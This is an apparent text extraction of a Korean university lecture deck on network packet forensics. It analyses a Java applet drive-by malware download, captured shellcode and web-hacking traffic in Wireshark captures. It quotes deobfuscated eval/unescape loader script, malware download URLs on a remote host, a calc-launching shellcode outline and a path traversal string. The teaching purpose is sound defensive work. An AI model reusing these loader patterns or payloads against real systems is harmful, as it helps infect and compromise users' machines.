60
Network Security and Policy 2014. 04. 28 Jae Dong Lee SeoulTech ([email protected])

Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

  • Upload
    others

  • View
    5

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Network Security and Policy

2014. 04. 28

Jae Dong Lee

SeoulTech ([email protected])

Page 2: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Table of Contents

• Java applet malicious code Packet Analyze

• Shell code Packet Analyze

• Web hacking Packet Analyze

2

Page 3: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

자바 애플릿 악성코드 패킷 분석 Java applet malicious code

Packet Analyze by wireshark

Page 4: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Java applet?

• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명

• 크기가 작아서 네트워크 전송에 적합

• World Wide Web 을 사용하여 배포 가능

• 자바 애플릿은 사전에 컴파일하여 웹 서버에 등록

• 웹에서 사용하는 표준 데이터 형식인 HTML로 작성한 문서에

애플릿이라는 태그를 사용하여 자바 애플릿을 지정

• 자바 애플릿을 동작시키는 데는 자바 가상 머신을 내장한 웹

브라우저가 필요

• 브라우저는 불러내 온 문서 속에 애플릿이라는 태그가 있으면,

지정된 자바 애플릿을 웹 서버로부터 내려받아 실행

• 최근에 애플릿을 이용하여 사용자에게 악성코드를 감염시키는

사례가 발생하고 있다.

• 웹 페이지에 숨겨진 자바 애플릿을 통해 악성코드가 감염되는 과정과

해당 코드를 분석하는 과정을 수행

4

Page 5: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Java applet malicious code analyze

• Chapter_12.pcap [statistics] [conversations]

5

Page 6: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Java applet malicious code analyze

• [Follow Stream]을 통해 각 세션 별 분석

6

Page 7: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

1st session

• function ararata(reem, aanpry){

reem.replace(/r00ts/g,aanpry)

}

7

Page 8: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

2nd session

• HTTP를 암호화한 HTTPS(암호화 상태라 내용 無)

8

Page 9: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

3rd session

• 특정페이지에 접속을 시도(서버는 존재하지 않는 페이지로 응답 404

error)

9

Page 10: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

4th session(1/6)

• 자바 실행파일인 sdfg.jar 를 요청하여 다운

10

Page 11: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

4th session(2/6)

• Sdfg.jar 파일을 추출해 내기 위해 ~PK(시그니처) 윗 부분 제거 후

저장

11

Page 12: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

4th session(3/6)

파일 역할

Applet.class Data 및 cc라는 파라미터 값을 외부에서 입력받고, 두번째 클래스인 LoadX.class를 로딩하는 역할

LoadX.class 전달받은 data와 cc라는 파라미터를 PX,class로 전달하고,

PX.class를 로딩하는 역할

PX.class

전달받은 data는 악성코드가 존재하는 도메인을 cc는 악성코드

개수를 의미하며, 해당 값을 이용하여 사용자의 임시디렉토리에

악성코드 exe를 다운로드 시키는 역할

12

*각 클래스 파일은 JAD로 디컴파일 하여 본다.

Page 13: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

4th session(4/6) - Applet.class

• getParameter는 사용자로 부터 입력받기 위한 함수이며, 입력받은

data와 cc값을 LoadX클래스의 bootstrapPayload로 전달

13

Page 14: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

4th session(5/6) - LoaderX.class

• bootstrapPayload 메소드의 파라미터 string s, string s1은

Applet.class에서 전달되온 data 및 cc 값이 전달

• Inputstream으로 /myf/y/PX.class 파일을 read

• data 및 cc 파라미터 값을 PX.class로 전달

14

Page 15: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

4th session(6/6) - PX.class

• System.getProperty(“java.io.tmpdir”)를 통해 c:\windows\tmp\ 밑에

악성코드 생성

• 악성코드는 Runtime.getRuntime().exec()를 통해 실행

15

Page 16: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

5th session

• 자바실행파일인 q.jar를 다운 후 추출(추출과정 동일)

16

Page 17: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

5th session -

17

• Save as를 통해 추출한 파일을 HxD를 통하여 시그니처

앞부분은 제거한다.

• .JAR파일의 압축을 푼다.

• JAD(자바 디컴파일러) 로 open한다.

파일 역할

Main.class 사용자의 OS 및 자바버전 확인 및 파라미터, s, s1, s2

를 ApplicationPanel로 전달하는 역할

AppletPanel.class Data 및 cc라는 파라미터 값을 외부에서 입력받고, 두번째 클래스인 LoadX.class를 로딩하는 역할

Page 18: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

5th session – Main.class

• 파라미터 s, s1, s2를 ApplicationPanel.class로 전달

18

Page 19: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

6th session

• MZ는 exe파일의 Magic Number(4D 5A)

• UPX로 패킹되어 있음을 알 수 있음

19

Page 20: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

자바 애플릿 악성코드 패킷 분석 Java applet malicious code

Packet Analyze by NetworkMiner

Page 21: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner

21

Page 22: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner

1. GET / true.php 접속

2. GET / xxx.xxx 자바스크립트 함수가 보임

3. HTTPS 접속 접속

4. GET /favicon.ico 접속 그러나 404 리터

5. GET / sdfg.jar sdfg.jar 다운로드

6. GET /g.jar g.jar 다운로드

22

Page 23: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner

7. GET //loading.php?spl=javadnw&j050006010 file.exe 다운로드

8. GET //loading.php?spl=javad0 HTTP/1.1 file.exe 다운로드

9. 444번 포트로 접속

10. GET /11111/gate.php 접속

23

Page 24: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner

• true.php.html을 선택 후 [open folder]

24

Page 25: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner – true.php.html

• Line 3 자바스크립트로 특정 페이지를 호출(xxx.xxx)

• Line 15 난독화 QYDCtrO3jhsZAwQE = eval

• Line 16 난독화 FMsXHWkm3otEzXWe = unescape

25

Page 26: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner – true.php.html & xxx

• Var aglavand = ararata(bbsa, VsSdAy);

• Aglavand = unescape(aglavand);’);

• reem.replace(/r00ts/g,aanpry) reem.replace(/r00ts/g,%)

26

Page 27: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• True.php.html에 담겨 있는 인코딩 된 코드

27

NetworkMiner – true.php.html

Page 28: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• “r00ts” 문자열을 %로 변환

28

NetworkMiner – true.php.html

Page 29: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner – 인코딩된 코드 디코딩

• 해당 코드를 2회 디코드(http://meyerweb.com/eric/tools/dencoder/)

• 클래스 ID 확인 PDF관련 버전조건에 따른 분기 (http://nrtjo.eu에

접속하는 코드)

29

Page 30: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner

• QYDCtrO3jhsZAwQE('v'+'ar p'+'w'+'dzra'+'a =

d'+'oc'+'um'+FMsXHWkm3otEzXWe('%65%6e%74'));

eval('v'+'ar p'+'w'+'dzra'+'a = d'+'oc'+'um'+unescape('%65%6e%74'));

eval('v'+'ar p'+'w'+'dzra'+'a = d'+'oc'+'um'+ent);

var pwdzraa = document

• pwdzraa.write('<'+'s'+FMsXHWkm3otEzXWe('%63%72%69%70%74%3

e'));

document.write ('<'+'s'+unescape('%63%72%69%70%74%3e'));

document.write ('<'+'s'+cript>);

• pwdzraa.write('v'+'ar kkrzbF2Lwtu8qLL0 =

FMsXHWkm3otEzXWe(ag'+'la'+'va'+'nd);

• QYDCtrO3jhsZAwQE('+'kkrzbF2Lwtu8qLL0);</s'+'c'+'ri'+'p'+'t>');

30

Page 31: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner

• pwdzraa.write('v'+'ar kkrzbF2Lwtu8qLL0 =

FMsXHWkm3otEzXWe(ag'+'la'+'va'+'nd);

document.write(‘var kkrzbF2Lwtu8qLL0 = unescape(aglavand);

• QYDCtrO3jhsZAwQE('+'kkrzbF2Lwtu8qLL0);</s'+'c'+'ri'+'p'+'t>');

eval(kkrzbF2Lwtu8qLL0);</script>’);

결과적으로 이런 코드 가 됨

<script>

var aglavand = ararata(bbsa, VsSdAy);

aglavand = unescape(aglavand);

var kkrzbF2Lwtu8qLL0 = unescape(aglavand)

eval(kkrzbF2Lwtu8qLL0);</script>’);

</script>

31

Page 32: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner – true.php.html

• kkrzbF2Lwtu8qLL0는 aglavand 즉, ararata() 함수를 실행하는 코드임

• 해당 함수를 통해 얻은 정보는 PDF 버전에 따라 nrtjo.eu로

접속한다는 사실도 알 수 있음

그러나 웹 사이트 접속흔적에는 http://nrtjo.eu//pdf.?spl=ie 접속 흔적이

없으므로 PDF 버전에 해당 조건에 맞지 않음을 알 수 있음.

• Sdfg.jar, q.jar 은 true.php에서 발생

32

Page 33: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

NetworkMiner – q.jar(main.class)

• 두번째 applet의 16진수 형태로 보이는 부분 분석

• q.jar의 main.class 내용

• Hex to Ascii 변환(http://www.asciitohex.com/)

687474703a2f2f6e72746a6f2e65752f2f6c6f6164696e672e706

8703f73706c3d6a617661646e7726(16진수)

http://nrtjo.eu//loading.php?spl=javadnw&(ASCII)

33

Page 34: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Summary (1/2)

• 최초 ture.php에 접속 해당 페이지에는 xxx.xxx 자바스크립트

함수가 포함된 페이지를 호출

• #1 PDF 조건 x 실패

• #2,3 코드에 접속

34

Page 35: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Summary (2/2)

• True.php에 의해 sdfg.jar와 q.jar를 다운

• Jar 파일을 통해 2개의 경로에서 악성코드 file.exe를 다운

- http://nrtjo.eu/loading.php?spl=javadnw&J0500006010

- http://nrtjo.eu/loading.php?spl=javad0

• 악성코드는 file.exe 를 통해 원격지 서버의 444번 포트로 접속했을

것으로 추정

35

Page 36: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

압축파일에 대한 바이러스 테스트

Virus Test in Compressed File

Page 37: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Virus Test in Compressed File(1/3)

• 정상적인 프로그램을 UPX유틸로 압축하여 바이러스 여부를 평가할

수 있는 사이트에서의 반응 확인

• Notepad.exe 파일을 upx.exe가 잇는 위치로 복사

• upx –o [패킹할 파일명] [패킹대상 파일]

37

Page 38: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• Virus total 에 접속 후 upx-notepad.exe 파일 스캔

38

Virus Test in Compressed File(2/3)

Page 39: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• 일부 스캔 결과 악성으로

평가 되기도 함.

39

Virus Test in Compressed File(3/3)

Page 40: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

쉘코드 패킷분석 Shellcode Packet Analyse

Page 41: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Shell code

• In computer security, a shellcode is a small piece of code used as

the payload in the exploitation of a software vulnerability.

• It is called "shellcode" because it typically starts a command

shell from which the attacker can control the compromised machine,

but any piece of code that performs a similar task can be called

shellcode.

• Because the function of a payload is not limited to merely spawning

a shell, some have suggested that the name shellcode is

insufficient.

• Shellcode is commonly written in machine code.

• 쉘코드의 역할을 메모리의 특정공간의 시스템 명령을 상주시키고,

EIP 값 등을 변조하여 원하는 주소로 분기하고 시스템 명령을

실행하는 것

• 패킷내에 포함된 쉘코드를 어셈블리어 코드로 변환하여 분석 진행

41

Page 42: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

42

Page 43: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

1st session

• GET 방식으로 update.alyac.co.kr:6969로 접속

– 알약의 패턴업데이트 요청으로 보임

43

Page 44: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

2nd session

• 이것 또한 알약 업데이트 관련

44

Page 45: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

3rd and 4th session

• [SYN] 요청은 있으나, 서버응답은 없음

45

Page 46: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

5th session

• 윈도우 쉘 cmd.exe 문자열 확인 가능

• Hex 값 90 은 NOP를 의미 보통 버퍼 오버 플로우 공격시 공격

문자열의 길이를 맞추기 위해 사용

46

Page 47: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

5th session

47

Page 48: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• 어셈블리어 코드로 변환하기 위한 0x, 쉼표, 공백 제거

48

Page 49: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• Hex 어셈블리어 코드(시그윈에서 shellCodeDecode.pl을 통해)

– ./ShellCodeDecode.pl < attack.txt > output.txt

• 바이너리(실행파일)코드를 어셈블리 코드로 변환(ndisasm)

– Ndisasm –b output.txt | more

49

Jmp ShellCode

StackExcute

{

WinExec()함수 실행

ExitProcess()함수 실행

}

ShellCode

{

Call StackExcute

Cmd.exe /c calc.exe

}

1 2

1

2

Jmp ShellCode 명령을 통해

ShellCode() 함수로 이동

stackExcute()함수 호출

WinExec()와 ExitProcess()를

통해 계산기 프로그램을 실행

하고 종료

Page 50: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

웹 해킹 패킷분석 Web hacking Packet Analyze

Page 51: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• 웹해킹은 웹사이트 취약점을 공경하는 기술적 위협으로 웹 페이지를

통하여 권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴하는

행위를 일컫음.

• 검색엔진을 이용한 정보유출과 웹 애플리케이션 프로그램 취약점을

이용한 해킹 등이 있음.

• 포트스캔 및 웹 해킹에 사용되는 여러 접속 패턴에 대한 성공여부를

판단해 보는 방법 학습

51

Page 52: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• [statistics]-[Conversations]-[port B]로 정렬

• 다양한 포트에 차례대로 접근 포트스캔 흔적

52

Page 53: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• 필터링 정책 만들기(Expression 버튼 클릭)

• 직접 입력도 가능

53

Page 54: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

80번 포트를 제외한 포트스캔 성공대상 분석

• tcp.dstport != 80&tcp.srcport != 80

– 80번 포트를 제외한 포트 검색을 위해 목적지, 발신지 포트에서 80 제외

• tcp.flags.syn == 1 && tcp.flags.ack == 1

– TCP 포트스캔 접속의 성공은 3 way handshaking 과정이 있어야 함

– Syn 과 ack 플래그 정보를 입력

tcp.dstport != 80&tcp.srcport != 80 && tcp.flags.syn == 1 &&

tcp.flags.ack == 1

결과 무 포트 스캔은 실패로 간주 할 수 있음.

54

Page 55: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

80번 포트를 제외한 포트스캔 실패 분석

• 오픈되어 있지 않은 포트 접속시 TCP에서는 RESET과 ACK

플래그를 세팅하여 응답함

• tcp.dstport != 80&& tcp.flags.reset == 1 && tcp.flags.ack == 1&&

tcp.srcport != 80

• 모든 포트 접속 거절

55

Page 56: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

80번 포트 공격 유형 분석

• tcp.dstport == 80 || tcp.srcport == 80

56

Page 57: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

80번 포트 공격 유형 분석

• 공격 유형확인 [Analyze] – [Expert Info Composite]

57

Chat (grey) : 플래그를 가진TCP

Note (cyan): HTTP 404와 같은 에러정보

Warn(yello): 연결문제와 가은 비정사적인 정보

Error(red): 손상된 패킷 정보

Page 58: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

• 324번 라인의 공격문자열은 GET /..%5C..%5C..%5C..

58

Page 59: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

References

• 최경철, “Network Packet Forensic”, Secubook

• “바이러스 토탈”, Virustotal.org

Page 60: Network Security and Policy - parkjonghyuk.net• 자바 언어로 작성된 소프트웨어 애플릿 이라고 명명 • 크기가 작아서 네트워크 전송에 적합 • World

Q & A